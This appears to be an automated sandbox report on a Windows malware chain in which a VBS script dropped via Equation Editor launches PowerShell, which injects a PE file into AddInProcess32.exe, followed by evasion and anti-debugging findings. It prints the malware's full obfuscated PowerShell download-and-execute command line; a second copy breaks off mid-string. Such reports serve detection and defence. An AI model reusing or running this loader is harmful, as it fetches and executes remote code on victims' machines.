Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Found WSH timer for Javascript or VBS script (likely evasive script)

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2454	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1167	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8724	Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3720	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3980	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3952	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 1167 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 8724 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -598502s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3212	Thread sleep time: -60000s >= -30000s	Jump to behavior

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 9_2_001D5310 CheckRemoteDebuggerPresent,

9_2_001D5310

Checks if the current process is being debugged

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process queried: DebugPort

Jump to behavior

Contains functionality to read the PEB

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035604D9 mov edx, dword ptr fs:[00000030h]

2_2_035604D9

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSA